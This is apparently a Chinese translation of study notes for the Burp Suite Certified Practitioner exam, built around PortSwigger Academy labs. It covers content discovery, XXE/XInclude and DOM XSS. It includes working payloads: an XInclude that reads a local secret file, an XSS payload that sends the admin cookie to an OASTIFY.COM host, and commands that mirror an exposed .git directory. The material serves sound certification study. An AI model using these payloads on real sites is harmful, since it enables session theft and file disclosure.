PortSwigger Academy 实验的实用学习笔记与演练,涵盖 Web 漏洞、payload、枚举及 BSCP 考试策略。
这是我的学习笔记,涵盖了超过 110 个 PortSwigger Academy 实验室。 我使用这些实验室通过了 2023 年 Burp Suite 认证从业者 考试。 我的 BSCP 认证。
更多信息请访问 PortSwigger Academy 获取最新学习资料。
立足点 - 阶段 1
内容发现
DOM-XSS
XSS 跨站脚本
Web 缓存投毒
主机头
HTTP 请求走私
暴力破解
身份认证
权限提升 - 阶段 2
CSRF - 账户接管
密码重置
SQLi - SQL 注入
JWT - JSON Web 令牌
原型污染
API 测试
访问控制
GraphQL API 端点
CORS - 跨源资源共享
数据外泄 - 阶段 3
XXE - XML 实体与注入
SSRF - 服务端请求伪造
SSTI - 服务端模板注入
SSPP - 服务端原型污染
LFI - 文件路径遍历
文件上传
反序列化
OS 命令注入
附录
Python 脚本
Payloads
字典列表
聚焦目标扫描
方法论
额外培训内容
我建议在参加考试前尽可能多地完成 Mystery lab challenge,以检验你的技能并缩短 识别 漏洞所需的时间。
我还发现 PortSwigger 关于 重新参加考试 的建议非常有帮助。
观看 CryptoCat - Burp Suite 认证专家 (BSCP) 评测 + 技巧与诀窍,了解 2024 年 BSCP 考试的全新视角。
感谢您的 咖啡 支持,
\o/
在时间有限的参与任务中,Web 应用程序的枚举从初始扫描和定向扫描开始。
由于参与任务或考试期间时间非常有限,请针对特定请求扫描已定义的插入点。

扫描器在 storeId 参数上检测到 XML 注入 漏洞,并据此读取到了 Carlos 的秘密文件。```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>带外 XInclude 请求,需要托管的 DTD 来读取本地文件。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
使用 Burp 功能扫描非标准数据结构,以在所选插入点扫描响应或请求中的选定文本。

通过 Burp 扫描器问题结果识别漏洞。
在本例中,使用已识别的 XSS,通过在 已识别 的插入点构造载荷来窃取管理员用户的 cookie。``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>对关键字符进行URL编码。

>使用管理员的cookie,通过替换当前浏览器会话中的cookie来访问管理面板。
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# 立足点
# 内容发现
>对目标进行枚举时,首先对Web目录和文件进行模糊测试。可以使用Burp的参与工具、内容发现选项来查找隐藏路径和文件,或者使用`FFUF`枚举Web目录和文件。查看`robots.txt`或`sitemap.xml`可能会暴露内容。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burp 参与工具,内容发现,使用我编译的单词列表 burp-labs-wordlist 作为自定义文件列表。

检查本地下载副本上的 git 仓库分支,使用
git-cola工具。然后选择 撤销上次提交 并从 diff 窗口中提取管理员密码。``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger 实验室:版本控制历史中的信息泄露](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>始终打开 `source code` 以查找任何可能暴露隐藏文件或路径的开发者注释。下面的示例引向 [symphony 令牌反序列化](#deserialization)。

-----
## 基于 DOM 的 XSS
[DOM XSS 指标](#identify-dom-xss)
[使用 DOM Invader 识别 DOM XSS](#dom-invader)
[AngularJS 中的 DOM XSS](#vuln-angularjs)
[DOM XSS 在 select 中的 document.write](#doc-write-location-search)
[DOM XSS JSON.parse Web 消息](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads 消息](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval 反射型 Cookie 窃取器](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### 识别 DOM-XSS
>当 JavaScript 从攻击者可控的源(如 URL)获取数据,并将代码传递给支持动态代码执行的接收器(sink)时,就会产生基于 DOM 的 XSS 漏洞。
>使用下面的模糊测试字符串,测试哪些字符能从 `source code` 注入点中逃逸出去。```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
审查
source code以 识别 可能导致漏洞利用的 来源、汇点或方法,示例列表:
使用 Dom Invader 插件并将 canary 设置为某个值(例如
domxss),它将检测可被利用的 DOM-XSS 汇点。